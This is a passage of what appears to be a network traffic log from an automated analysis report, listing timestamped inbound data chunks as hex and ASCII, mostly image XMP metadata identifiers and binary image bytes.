2022-07-20 07:08:24 UTC	4205	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 63 34 36 37 35 32 2d 61 37 31 34 2d 39 38 34 35 2d 61 34 30 38 2d 32 32 65 63 35 34 39 38 38 62 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 64 64 66 62 32 34 31 2d 32 34 37 66 2d 34 32 31 33 2d 61 63 30 37 2d 30 65 36 61 36 30 32 34 38 33 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 31 34 62 66 36 63 2d 37 63 66 66 2d 31 61 34 37 2d 39 36 61 64 2d 31 33 66 30 31 62 30 61 64 65 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 65 33 64 61 38 31 63 2d 37 64 32 61 2d 37 61 34 36 2d 39 31 31 32 2d 36 38 33 66 66 65 37 64 61 31 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:adc46752-a714-9845-a408-22ec54988bbe</rdf:li> <rdf:li>xmp.did:addfb241-247f-4213-ac07-0e6a60248332</rdf:li> <rdf:li>xmp.did:ae14bf6c-7cff-1a47-96ad-13f01b0ade66</rdf:li> <rdf:li>xmp.did:ae3da81c-7d2a-7a46-9112-683ffe7da153</rdf:li>
2022-07-20 07:08:24 UTC	4221	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 61 61 38 35 64 64 2d 65 39 66 33 2d 39 38 34 32 2d 62 36 37 61 2d 64 37 34 65 31 38 30 64 65 62 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 66 65 64 66 63 38 30 2d 31 34 34 63 2d 34 38 32 63 2d 39 30 32 33 2d 34 33 39 66 36 32 31 63 62 32 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 33 37 37 63 65 36 2d 65 61 33 33 2d 38 32 34 34 2d 38 30 32 39 2d 63 30 39 62 64 61 31 34 33 63 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 30 35 66 30 61 39 66 2d 65 36 38 39 2d 38 30 34 61 2d 62 36 64 62 2d 35 61 61 61 61 64 36 36 35 33 32 66 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: rdf:li> <rdf:li>xmp.did:dfaa85dd-e9f3-9842-b67a-d74e180deb41</rdf:li> <rdf:li>xmp.did:dfedfc80-144c-482c-9023-439f621cb257</rdf:li> <rdf:li>xmp.did:e0377ce6-ea33-8244-8029-c09bda143c52</rdf:li> <rdf:li>xmp.did:e05f0a9f-e689-804a-b6db-5aaaad66532f</rdf:li>
2022-07-20 07:08:24 UTC	4226	IN	Data Raw: 38 2d 62 63 65 62 2d 62 36 64 34 35 62 64 34 34 33 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 31 39 36 33 61 30 2d 39 30 37 37 2d 34 36 36 65 2d 62 39 62 33 2d 61 32 38 37 65 62 37 62 38 64 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 35 32 66 64 39 38 2d 31 64 34 37 2d 34 35 34 64 2d 38 62 38 66 2d 36 36 34 30 34 31 64 36 34 35 64 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 66 36 30 36 63 38 39 2d 32 35 36 31 2d 34 38 64 30 2d 38 35 30 38 2d 33 39 35 66 31 34 33 31 33 66 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 30 30 37 31 35 62 36 2d 31 39 39 66 2d 34 39 39 63 2d 62 65 62 65 2d Data Ascii: 8-bceb-b6d45bd44318</rdf:li> <rdf:li>xmp.did:ef1963a0-9077-466e-b9b3-a287eb7b8d48</rdf:li> <rdf:li>xmp.did:ef52fd98-1d47-454d-8b8f-664041d645d3</rdf:li> <rdf:li>xmp.did:ef606c89-2561-48d0-8508-395f14313f87</rdf:li> <rdf:li>xmp.did:f00715b6-199f-499c-bebe-
2022-07-20 07:08:24 UTC	4242	IN	Data Raw: 6c 69 f1 52 2c ec aa 0a 2b 5a ca 28 97 35 9c e5 8f 97 bb 2b df c7 7f 3a 3d fd 4a 42 81 d8 98 38 13 89 f3 31 e3 63 8f 21 89 51 99 c4 7f 0f 3c 9b d3 2c dc cf 6b 88 ef e0 c3 2e ff 00 ef e9 f0 4c 0d 34 3d 72 2e 9a a9 87 8b 23 0c 31 94 4e fd 14 cb 10 5b 26 85 de 4b 39 5f 09 94 a8 93 a2 7b af 1f 7e 2d 55 54 08 c6 7c d1 8c f8 59 cf 2c 8b 6f 38 99 05 a0 a8 ab 1b a5 8e 2f 46 19 7c 3d 0d 48 07 7c b5 d5 31 e4 c6 97 1f 31 0c 92 46 ac 71 d0 92 41 b8 35 e9 1c 5e cd 5a 37 ff 00 31 24 bf 85 bf dc d4 f1 40 54 33 cd d3 3a 82 65 3d 61 90 5d 22 d1 78 4d 59 6c e5 77 53 ff 00 4f 4f c0 66 8b 27 ac cf d4 f1 e3 80 86 94 e6 39 c7 90 aa 04 4a 2b e3 e4 32 c6 eb ed 1b e1 23 be 4f c0 fb 9a a4 c9 82 f2 7c a5 93 24 f4 e8 cc 72 c4 65 52 1c 16 41 22 79 b9 1b dc bf 86 c6 44 48 64 8e cf c3 Data Ascii: liR,+Z(5+:=JB81c!Q<,k.L4=r.#1N[&K9_{~-UT\|Y,o8/F\|=H\|11FqA5^Z71$@T3:e=a]"xMYlwSOOf'9J+2#O\|$reRA"yDHd
2022-07-20 07:08:24 UTC	4258	IN	Data Raw: 28 1f a9 62 cb 8b 8c 92 ca f2 cb 19 5a c2 e8 1a b1 c9 dd 81 ef f1 61 7b 7d 8c 90 fb 4f 53 7f 5b 24 5a 2b 7a d7 47 93 a6 cc 92 4c 8d 64 88 ac 0d 18 02 ec b7 4d 15 d3 71 72 e5 e2 7f b7 ab 29 1b 5c af 98 b0 b2 7a 44 d8 f8 31 a0 69 c0 8e d2 b4 68 82 01 3b f3 13 de 43 14 7e f3 de 7b 3d 51 0c 23 a4 bc 58 18 b9 6d 9a a2 3b a6 a9 9a 46 56 91 a6 74 8e 4f 07 93 15 d2 73 24 ff 00 31 14 5e c7 dd bf 06 90 14 b2 fc bf 2f 50 e9 f3 cb 17 31 7a a0 a3 ce 84 82 b3 8f 6c 8a 91 a2 f2 ac 9e 3d f8 2c f7 f1 f2 64 e6 68 1c 9a 6e 81 87 d3 e3 c7 f8 8c 00 1a 0c 8a 48 2e 01 88 a8 b6 68 5b 77 b8 f7 78 5e ef 83 83 49 22 2c ca c8 fa 1e 07 43 92 47 8e 29 a4 9a 60 c5 6d 62 05 95 56 78 62 e5 59 64 49 72 71 fb 4e 0d 53 41 24 38 9d 4a 30 f2 e2 42 23 8a 77 6d 82 96 d0 91 75 b2 7f f7 37 b3 df Data Ascii: (bZa{}OS[$Z+zGLdMqr)\zD1ih;C~{=Q#Xm;FVtOs$1^/P1zl=,dhnH.h[wx^I",CG)`mbVxbYdIrqNSA$8J0B#wmu7
2022-07-20 07:08:24 UTC	4265	IN	Data Raw: 37 a8 b4 19 91 a4 b4 48 82 33 19 18 af 0f b3 b3 7b c6 e3 fc 3d 4d ac 93 03 11 f3 28 8b 33 a9 0c bc 79 95 a3 aa be db 81 46 07 d9 d9 6f a1 cc d6 4e eb c0 68 cf 49 33 bc f3 20 50 63 9a 43 2d 82 aa b7 1e fa 27 77 d0 d5 b7 3a 8c d1 e1 7c bf d4 b1 b2 e0 8d 65 30 45 3c 62 46 92 32 c0 24 60 73 64 ba 4e 1e 74 51 79 fa 69 08 df 14 8d 14 e5 42 b7 1e 5d 43 1a dc c9 4e 62 6f bf 9f ad 60 99 2b 3f d4 12 09 63 02 4f 6a e1 56 ed a2 ae 39 e9 1c 9e 65 f1 af 87 a6 32 eb 15 52 30 55 77 6a c5 88 fa d8 de ff 00 ad ab 33 82 2c b0 f0 30 7c 48 55 9e 57 5e 69 e1 d8 37 79 d2 7e 24 96 ee 6a 2c df 81 4b 5d c2 10 5f 46 1b 50 f6 11 d8 46 a9 32 4e 64 42 cf 13 c7 19 b4 b2 90 0d 2b db e8 e9 b0 44 40 5a 23 51 21 08 82 86 9d fd 96 f1 7f 67 50 50 ba 74 b3 4d 7a e4 a0 40 1a 88 41 ad cb e7 fa Data Ascii: 7H3{=M(3yFoNhI3 PcC-'w:\|e0E<bF2$`sdNtQyiB]CNbo`+?cOjV9e2R0Uwj3,0\|HUW^i7y~$j,K]_FPF2NdB+D@Z#Q!gPPtMz@A
2022-07-20 07:08:24 UTC	4281	IN	Data Raw: 22 ee 3a cb cc e0 d7 33 57 6f 71 c1 aa c3 f9 2b a6 61 08 e5 8a 30 99 31 b0 7e 6c 75 52 5a bb eb cb 76 91 3e 1d f7 a2 e4 f7 22 d7 52 44 c8 76 67 40 c0 ea 0e c7 22 14 66 91 42 16 22 8d 41 e6 cb c7 a7 00 99 e2 d2 60 a2 4f 23 63 39 68 d1 c8 8d b6 54 a8 36 ab bf af c5 a8 6e 0d 42 27 e9 50 c4 42 2b a4 d4 17 17 50 c2 9d e6 8d bc fb 74 a4 99 1b 24 57 28 81 28 02 ed f2 5d 5f 35 fb d6 f9 9e 66 89 00 28 e3 f8 79 e3 79 03 c9 04 6e b2 48 89 e5 5a af 3a df 33 99 1f 87 7e 9c c9 48 f5 4c 6f fb 81 d1 a7 84 49 04 8c 0f 02 63 84 3c d2 6b 6c 69 16 3c 57 fd 8f 13 4c 8e 30 5d 5c b9 60 35 ac 2d 26 db aa bf 6a cb bf e6 e8 4c 96 86 c1 8a 71 e2 8d 50 97 90 05 0c e7 89 ed ef 3f 9c fa 68 0c 6c 5d 55 f3 fa ac b2 74 f9 22 07 19 c0 49 25 00 87 bc f2 f2 63 bd 79 72 2c 0f 77 b4 e5 cd 3f Data Ascii: ":3Woq+a01~luRZv>"RDvg@"fB"A`O#c9hT6nB'PB+Pt$W((]_5f(yynHZ:3~HLoIc<kli<WL0]\`5-&jLqP?hl]Ut"I%cyr,w?
2022-07-20 07:08:24 UTC	4297	IN	Data Raw: fb ad 04 d9 9b e3 8b 14 bd 51 71 73 17 9b 19 84 ca 91 be f2 2c 81 b9 7c c7 8a 4d db ec 57 e5 6e e9 f8 99 96 19 31 43 86 e2 4c 78 50 13 b1 ec 0a 86 da f1 da a3 c5 df ee ea e2 05 32 67 33 3a a9 8b ab b6 1f 56 61 1e 1c 82 90 4c bb dc 9b ad b5 d1 de f8 93 99 67 f9 9b e2 f0 bd a7 b3 b1 f4 8b 80 b9 3a 78 e9 13 4b 9d 8d 7c f8 95 06 4a 51 aa 94 b9 f3 e0 64 54 49 1b 1f 73 e2 3f 1a 1f cc 81 34 40 8b 1f 97 b9 ab 04 f8 b8 c2 b1 24 d7 2b c4 4b dd 14 81 72 b1 7c 4e f4 5e 3c 9d cd 50 8d 14 0d 96 6c b0 35 bc 2c 09 b3 69 f7 be ce 4f 0f f6 f4 0c 1e 59 72 91 6e 82 48 d6 c1 be ad be 0d 77 55 24 5f 06 64 bf b9 6f 1f 99 a0 46 36 6c ef 83 9a 51 3c 4f ca 99 ad 40 e4 ac 6c 11 5a 37 89 19 ff 00 31 ec e3 f6 69 ae 7b dd af 00 29 fa 9b 0f f4 b4 8a 59 18 80 12 a0 93 b2 64 ee ad fb ad Data Ascii: Qqs,\|MWn1CLxP2g3:VaLg:xK\|JQdTIs?4@$+Kr\|N^<Pl5,iOYrnHwU$_doF6lQ<O@lZ71i{)Yd
2022-07-20 07:08:24 UTC	4305	IN	Data Raw: 45 de 0a 7b 17 97 17 88 23 95 64 8b cc f0 ef f1 35 c9 7c 8d 5b db aa fb e0 0b 93 d6 96 5e a1 2e 35 e9 34 2e e8 c2 45 65 0b 1c 8c 9c 9b 91 ee dc 6f 0b db 24 9c ae 75 f7 f1 e9 77 58 ec dc a0 2a 1b 22 69 dd fa 7e 38 66 84 cb 59 64 55 b9 98 c8 11 d6 25 6b 79 49 37 25 13 f0 77 f9 b2 78 50 a6 b5 c6 db 4a 3f 86 30 df 97 62 c8 c7 67 c5 96 c3 14 43 c3 71 50 9b ed 74 96 3f 04 b1 47 27 fc 1a 2f dc 71 70 84 c9 0c d3 2e 4b 94 6a cc 00 96 35 d8 c5 a2 60 d8 f9 4b 8d 76 eb 35 be 37 2b 47 6a d6 a0 86 60 f5 04 4b a6 90 aa c7 b0 a3 5b 47 2c 7c 3c a8 6e 7e 39 af 8a 3b 21 f6 9b f1 73 35 de 86 4d d3 55 fa 9b 1c 89 41 92 44 52 88 0d 08 50 de d3 87 c3 e6 4d 6f 88 9e ed 12 cd ff 00 13 54 26 03 d3 ba c5 a2 46 76 b2 54 72 1e 26 35 a0 4b 53 c2 79 38 64 57 bf c2 7e 3d 29 19 56 9d 55 Data Ascii: E{#d5\|[^.54.Eeo$uwX*"i~8fYdU%kyI7%wxPJ?0bgCqPt?G'/qp.Kj5`Kv57+Gj`K[G,\|<n~9;!s5MUADRPMoT&FvTr&5KSy8dW~=)VU
2022-07-20 07:08:24 UTC	4321	IN	Data Raw: 37 55 94 2c 91 c3 6c 7e 9c 7f e5 31 9f de f8 9e 7e a9 31 96 dd 5f 36 57 02 4c bb 22 c7 62 56 50 58 5c b0 b1 e0 69 2d 93 c5 fe 07 ff 00 23 df f8 69 a1 d8 12 30 f9 9d 7d f3 25 8e 45 5b a0 c6 b0 20 e1 56 e5 9b b1 de 7f 5d fc 59 91 38 df 51 c8 a8 0b 96 6c ac d9 a2 ce ea a5 e7 41 57 e5 c9 bb 18 ae f4 6f 06 37 7b 1b 73 f8 72 6b 93 25 bc 2b d1 7f 98 46 de 0f 97 31 21 98 ce cb 73 12 4d 3b 17 7b 8a e8 d7 ce ef 77 3d 0d 6d 8f 02 dd f5 92 d8 46 56 0a 64 b2 8b 68 54 8b 2d ee 9a f7 63 f6 3b df c3 d7 43 a2 62 4e 41 fa 56 3c 79 7d 5b 27 e3 0c 99 cf 8a 04 51 2b 90 d6 38 de ca c9 8b 82 2c 6e 54 9f e5 52 ff 00 16 57 e6 f2 ff 00 0f 54 96 85 16 79 e1 e8 c5 22 58 4a 5a 63 96 ea ba 48 4d 8b 6c 1c 94 5f 66 de 3e ff 00 2e 58 75 9d ad 1b 81 55 85 95 36 5f 51 68 24 00 4b 1e ee ea Data Ascii: 7U,l~1~1_6WL"bVPX\i-#i0}%E[ V]Y8QlAWo7{srk%+F1!sM;{w=mFVdhT-c;CbNAV<y}['Q+8,nTRWTy"XJZcHMl_f>.XuU6_Qh$K
2022-07-20 07:08:24 UTC	4337	IN	Data Raw: bb 9e 0e e5 fa d2 92 98 23 5b d6 fa 94 9d 2f a8 2e 2e 34 eb 8b 34 50 86 c9 9f 96 25 33 10 8b c9 8e 1c 4b 99 e4 95 22 87 7e ef 77 e2 7b b4 bf 5e 5e 05 15 99 59 f9 e6 0b 31 f1 a6 b4 b4 c5 e3 52 25 4b 66 3c f8 ee 48 3f cc 63 2b 7b 37 e6 f2 e3 c8 4f fa 79 75 cd 93 13 6a 09 fe c2 24 97 13 a9 4b 19 5b 11 52 00 66 95 51 83 46 c3 98 f1 ad ac db d1 49 ff 00 d2 91 25 e5 f0 49 24 5a 75 aa 7a 21 ee 5a 64 7c b1 9f 81 80 d8 d3 e5 ca d8 59 1c 40 29 73 1d 79 6e 8b f0 f7 cd e2 49 cb f1 9d f2 62 c4 4e 0e 5c 9c ee 5e bb 16 8a 04 91 51 d4 e5 82 02 f8 bd 27 26 24 8b 90 b9 05 16 35 45 98 bd f1 64 41 c5 fc d4 c2 92 2e ff 00 db d6 79 66 04 ff 00 40 3f 4d c1 78 de 36 b6 da 89 11 b9 aa a1 68 18 71 f3 af bf 93 c8 b2 c8 f9 53 3e 47 32 2e 6e bc 2c ca b5 e9 7d 3e a3 4a 96 39 f8 12 cc Data Ascii: #[/..44P%3K"~w{^^Y1R%Kf<H?c+{7Oyuj$K[RfQFI%I$Zuz!Zd\|Y@)synIbN\^Q'&$5EdA.yf@?Mx6hqS>G2.n,}>J9
2022-07-20 07:08:24 UTC	4345	IN	Data Raw: 7c fa 81 01 30 f3 0b ad 1c 56 8a ad c1 c3 6d d2 41 27 17 e2 6f d9 ad 39 0a 0a 99 3a ae 5c 52 aa b4 4c a5 63 11 94 0c 00 e5 a9 be d9 5d 5b d5 bf 7e fd 72 3c 9c b5 90 21 9f 9b d2 f2 52 79 59 05 e5 03 da bb 14 53 c3 9a ef 05 64 b7 c3 e6 7e 27 b4 d6 1a 65 51 f2 79 00 26 65 9c b0 cb 52 2f 35 ab 05 21 97 6d b6 b5 cc f0 b7 33 8f 97 e3 78 72 7d bd 3a 5a 34 02 5f 98 3e 78 cc 45 93 0d 16 35 66 50 0c aa 5a bb c3 c4 e5 2b f0 eb d2 ad e5 16 91 e7 d9 13 9a d6 b5 a5 07 fb 37 55 7e ee 88 28 db 7c bb 9a b8 fd 27 e1 26 8a 48 e5 6b c0 72 a6 d9 16 4b a4 47 6f 4a c7 f4 fc 34 d7 0e 5a b7 69 44 30 2f 94 a4 a3 4b 89 23 51 2b 1b d3 d3 07 91 75 dc 31 d9 7f 1e b7 cc a6 18 8d 4e 4f 4a 90 e4 c9 8c 8f 56 96 36 91 cd 68 ad 67 72 4f cb 4b ef e6 ff 00 2b da 6b 29 e3 b8 15 9d 73 06 1c 3e Data Ascii: \|0VmA'o9:\RLc][~r<!RyYSd~'eQy&eR/5!m3xr}:Z4_>xE5fPZ+7U~(\|'&HkrKGoJ4ZiD0/K#Q+u1NOJV6hgrOK+k)s>
2022-07-20 07:08:24 UTC	4361	IN	Data Raw: b1 65 93 c1 1e 2a ab 4a 43 10 76 a8 ed d4 27 20 59 b6 67 26 c9 27 95 6f 21 94 23 1b 84 68 4d fc be 67 1f f4 b3 53 1e 08 90 7f f5 64 cc 96 8b 68 bb 65 07 d5 e6 7f 4b f5 37 50 84 ca ce ae b1 44 ea 36 03 f4 01 e4 d1 8a ce c0 8d 4e 06 1a e1 41 8a 66 1c b4 96 d6 90 13 43 4b ac 77 fb 9e 26 93 28 8b 1f 22 08 51 65 9e 65 dc d8 ca 4d 4b a2 07 8e 38 53 8e d9 1b 71 e3 e6 f2 fe e6 96 ec 92 21 d4 a1 32 20 25 95 4d 03 15 52 48 5a 35 cc a9 de bf 55 c2 46 5b 47 d4 13 2e 2b 46 34 d2 48 a4 36 c8 bb 14 8e 3e 6b 72 e4 7b bf c4 d6 1e df 1f 10 20 5e a7 9b 95 58 d6 3d 91 82 3c 63 bc 94 ee 2a 47 7b fa a9 7e b5 69 2d c0 0a 49 73 4c a2 67 94 8a 80 0f 2c 5b 6a f7 51 2e be c4 d3 70 20 7c 83 f0 b9 03 26 22 c4 d7 75 98 dc c0 f7 77 a4 bd f7 75 11 c9 43 13 08 f8 18 59 b9 f9 9d 86 80 52 Data Ascii: eJCv' Yg&'o!#hMgSdheK7PD6NAfCKw&("QeeMK8Sq!2 %MRHZ5UF[G.+F4H6>kr{ ^X=<cG{~i-IsLg,[jQ.p \|&"uwuCYR
2022-07-20 07:08:24 UTC	4377	IN	Data Raw: 95 89 54 0a a5 ad 5c 68 fd a4 cb c7 7e f6 3d ef ae 9c 98 b4 e5 61 89 5a 1c 3c 7b ca df 97 22 d6 f3 4a aa 93 ec 62 8b dd c5 ee ff 00 13 58 ba 4e 9e 81 81 f4 79 53 2b 20 72 22 2e 61 46 6b 9d 6e 8a 37 77 f0 e5 e5 b1 b6 5d cb f9 49 2f 7f f1 6c d6 96 af 05 2c 44 7d 3f 20 47 90 72 e7 66 c8 ce 91 ae 0d 6d 0a 06 0e b2 ef f0 59 6c 9f 87 17 73 4f 24 d9 45 7a 2a 33 53 d5 3a c6 27 ca f3 39 4f fa fc be d2 db 79 31 12 cc b0 a7 2b de 6f 5d eb ef eb be b5 f6 d6 9e 70 2a ff 00 d7 7a 86 4b d9 8d 87 2c 90 d0 21 2c e0 12 47 e6 3e ea f1 6b cb b5 52 7d 56 10 07 5c e8 59 b9 b0 8c 85 84 09 17 63 a2 cc b2 2d a3 76 e5 b3 cd f7 9b ff 00 63 57 5b 2a f8 89 a9 32 70 74 14 c8 96 28 5d da 29 65 37 ed 42 eb ca 23 c3 92 3e 57 89 7d eb 26 e3 c7 f9 97 eb b5 64 49 4b 26 0b 6c cf 93 63 86 e9 Data Ascii: T\h~=aZ<{"JbXNyS+ r".aFkn7w]I/l,D}? GrfmYlsO$Ez3S:'9Oy1+o]pzK,!,G>kR}V\Yc-vcW[*2pt(])e7B#>W}&dIK&lc
2022-07-20 07:08:24 UTC	4385	IN	Data Raw: ef 5b 76 a6 b7 56 db d2 04 84 eb 42 46 d7 6d 3c ba 00 ac ea f9 60 e1 c9 2c 12 90 b1 b1 59 0a 28 7e cd c9 a3 de f6 56 77 e5 4f 63 ac b2 5f 8d 5b 1a 32 39 5d 53 26 47 33 4c e4 c2 29 40 d4 2a 6d de e4 c9 b7 cf 4b ef e5 fb b7 df e0 d7 ca df ba bd dc a7 f7 3f d8 34 80 ae 93 9f 2f 4e 98 ca d2 91 08 0c cd 10 ec a7 07 35 d3 7e 5f 0f d0 fd 7d 5f 69 dd da 8f ea 5c 6d 15 dd 6f e6 2c 9c a2 62 ce f0 0a f7 6a 42 3b 2f b3 95 12 4d f4 bf 8f ff 00 73 5b f7 19 ef 91 c2 e9 af 49 21 fd 07 a9 e2 fc 41 ce 31 bc 86 24 2a cf 68 06 30 7b d7 bf 89 34 b2 fe 0e 37 07 33 de c9 bf ad fb 4e e1 63 51 7f b6 0f 53 4b 91 f3 16 22 e2 49 99 1b 55 63 6b 37 b7 2a db bf 89 6b 5b bf af 59 67 ad 97 2a f5 19 c0 36 1f cc 91 e6 6f c4 cb ca 88 16 95 8f 09 52 5a 38 b9 72 f0 f3 23 b7 c7 44 fe 1c 7a 9c Data Ascii: [vVBFm<`,Y(~VwOc_[29]S&G3L)@mK?4/N5~_}_i\mo,bjB;/Ms[I!A1$h0{473NcQSK"IUck7k[Yg6oRZ8r#Dz
2022-07-20 07:08:24 UTC	4401	IN	Data Raw: ca a0 76 ba 2d cf 31 ed bf dd fa 9a e9 69 c0 e4 93 27 37 e1 64 68 b2 dc 53 6a 10 0f 6b 11 6f 8a a9 6c 96 c7 f8 29 ac ed 56 84 66 f2 df 24 01 97 2a 29 50 c1 01 05 90 87 e1 f6 55 de 79 77 38 fb 91 e8 ab 5b 22 40 26 79 f3 1f 90 b0 bc 8c d5 08 40 de bf d6 8f da a2 79 8f ad 12 4b c4 0a c9 f1 ce 25 cb 22 ef d4 ed a1 1d 9e ba eb 64 a4 06 e1 43 20 56 9d 62 0e ac 08 a9 23 ed 58 8c cb 7b 6b 47 46 cd eb 82 f6 53 5a 85 64 64 bf 57 8e 2c 68 29 1c 97 b2 15 6b 51 55 00 f4 bd 9d 9e 9e a2 b8 fd b6 db 32 6a 37 2e 70 fa c4 18 78 51 e3 31 ac 85 50 ab 5a 91 c6 16 ad bd 34 f6 73 5b f8 90 f3 5f b9 bf ac 5d 39 36 d9 23 33 c4 f9 53 88 9d 8b 92 0a 98 a0 43 7b 0a a4 d0 ff 00 a8 4b 90 52 c8 fd e4 7d ff 00 ca d5 52 12 85 fa f7 19 16 1f 43 ff 00 50 8e 44 8f 20 b8 50 08 80 33 00 4b 1f Data Ascii: v-1i'7dhSjkol)Vf$*)PUyw8["@&y@yK%"dC Vb#X{kGFSZddW,h)kQU2j7.pxQ1PZ4s[_]96#3SC{KR}RCPD P3K
2022-07-20 07:08:24 UTC	4417	IN	Data Raw: a4 34 63 98 3b 78 6c b5 24 4b 35 cb 7a 71 25 63 9d 8b b8 3a 04 f9 2a a1 9e 2d 9b 2d 74 31 fd 8e 47 0e ff 00 e2 7e a6 9a c3 23 81 8b ff 00 6e a2 89 9b 26 8b 90 19 ab ca a9 8e 8b 75 cf 6c de 27 77 d4 f5 f5 d3 5a 47 d7 25 d6 a6 7f af e3 f4 f8 97 99 03 47 cd 79 6d 78 a3 14 10 d8 1f dd 3d be 23 72 e3 bf 99 ef 2f 97 d7 9c 90 d4 99 d9 40 1c 71 a6 43 20 91 e2 44 45 07 6b 84 b9 88 bd a1 e2 9d fe 27 7b d9 77 f9 7e 0c 7a e5 f6 b9 79 48 55 0d ea 9d 2f 2b a4 44 b2 cb 8e 91 c6 e6 88 f6 de 54 9f 75 27 34 ca ca ef ed 12 ff 00 53 d0 d4 3c 16 5a b2 b8 81 bf 40 77 85 72 b9 4f 14 2b 1d dc c2 09 53 60 f6 97 a2 f0 cb ee ff 00 e6 6b 65 4b 09 e2 29 d8 52 35 74 60 1f bc bb 06 c1 6e f7 16 fb de dd d4 e0 4d 2f ed 31 82 54 ca ad 0e 4f 8a 29 d8 c4 d6 87 7b 73 cd de d4 d9 37 b0 8b 08 Data Ascii: 4c;xl$K5zq%c:*--t1G~#n&ul'wZG%Gymx=#r/@qC DEk'{w~zyHU/+DTu'4S<Z@wrO+S`keK)R5t`nM/1TO){s7
2022-07-20 07:08:24 UTC	4424	IN	Data Raw: 59 5e 1b 60 0a a0 12 00 1d 83 d5 d6 95 49 9f 45 87 15 2b e4 f2 0f e9 f9 af 8d 28 94 00 ff 00 a7 68 5a fa 5d d6 d5 d9 49 3d cf 6d 4c ea 2c 5f e4 30 c7 e9 2f 9e 64 66 f8 a2 58 92 28 b5 17 47 dc f4 16 c8 ff 00 12 cd 63 3a 9f 2f da e3 54 cf 0f cb 84 0b e5 14 93 36 fc b4 5a 45 10 0d 47 70 2f 2a 39 96 45 fd 3d 0d 37 6e 47 ab de 77 b5 c9 5e 09 5b 9e 4e 8f 29 2c f9 30 75 0c 82 e1 2a 10 5c 17 e8 ae 86 b4 31 af e5 75 aa 4e ce c5 5c e7 17 34 3c 72 c3 0a 39 53 6b 95 17 a3 79 f7 71 db e8 ea de 33 ba ff 00 96 63 55 e9 2c 7a 9f 59 01 23 ca 4b ea 01 dd e1 b4 d2 d6 dc f3 b5 11 13 25 f6 bd ba ad 6d 58 e9 fd bb 94 fd 1b af 46 f3 30 c9 90 a8 db c4 7b 47 f4 ee ea 79 4a 34 b6 7a 64 4e a9 70 c8 41 2f 4d 87 0f 2f 9b 8c 7f cb b9 2a a2 b7 11 b1 7b fe 9f 73 49 ad 0f 9d ee fb 67 8a Data Ascii: Y^`IE+(hZ]I=mL,_0/dfX(Gc:/T6ZEGp/9E=7nGw^[N),0u\1uN\4<r9Skyq3cU,zY#K%mXF0{GyJ4zdNpA/M/*{sIg
2022-07-20 07:08:24 UTC	4440	IN	Data Raw: a7 9a c7 62 91 4a 6d 63 ea af bc fb 1a 6f 51 20 1e b5 f3 4e 57 52 76 8f a7 00 81 77 41 96 94 66 e2 dc df f6 56 f9 f1 ff 00 0f 52 c6 37 0a 2c 89 4d 72 99 64 a9 bb 74 15 15 ee af 13 6e a7 eb e9 40 e4 2f 3b a0 63 cf 34 79 33 35 ac 8c 8b ba 40 2d 42 d3 2c 37 fb 4f b9 c1 66 94 0c bf c3 e8 b8 4e a9 cd 8e f7 3b ac cd da db 3d a5 b7 37 2e ff 00 43 56 aa 81 b2 0f f4 ae 43 5a e0 08 ea d6 d3 b4 0a ee ef b7 bc f3 75 8b a4 15 c8 b0 c2 8e 29 c4 d8 a1 99 aa aa 2e 20 a9 00 ad bc 5b b7 fe 25 da ba ad d0 ac f6 64 3d 28 3c 38 cd 27 37 98 ec 2a 6a 05 f6 ae e2 bf 6e f2 eb 9f 1a e2 9b 4f cc 69 7d 5c 41 1f 58 8f 2b aa 95 c7 89 64 8e 05 56 e6 b7 09 26 89 ca 58 3f 17 bf 77 99 fc 4d 74 be bf 9a a6 69 2a 81 cc 4a 95 48 77 dc ec 50 48 26 de 0b a4 ba c5 92 3e e6 e6 90 0f c6 c0 4c aa Data Ascii: bJmcoQ NWRvwAfVR7,Mrdtn@/;c4y35@-B,7OfN;=7.CVCZu). [%d=(<8'7jnOi}\AX+dV&X?wMtiJHwPH&>L
2022-07-20 07:08:24 UTC	4456	IN	Data Raw: 9d 6e bb 52 9d c4 68 7a 06 26 17 53 cd 10 38 e6 c4 91 17 aa 12 ad dd 5b 5d d9 63 7d d9 24 b3 fe 0d 2a d3 e2 51 a4 f8 d8 f1 e5 87 a7 74 e8 77 18 d4 48 69 b1 01 5f 88 49 65 e3 7e 38 b7 bd 4d 6a 94 17 25 c6 7f 26 58 24 c6 39 01 52 44 0b 69 05 8a 92 6d e6 48 be 9b d9 67 ef eb 3b eb d3 f3 0c 82 26 8b a7 44 90 64 32 b2 85 b0 16 e1 7a 7f 4e 0d 15 ac 28 14 90 66 75 5c 7c 18 1b 22 56 54 4a 10 ad df ba 9b 89 12 f0 4d ea 6a de 81 22 e8 1f 3d b6 7b 28 c8 40 12 d2 09 5a 32 8a 6f 6f 5b de 65 6f 67 ac 6b 77 3a 95 c4 bd e9 7d 6f a6 75 02 71 a0 92 36 7e 12 b4 b5 a9 e6 34 6f bf 7a 79 be ef 5b 4a 25 a7 b9 5d 91 86 1d 65 24 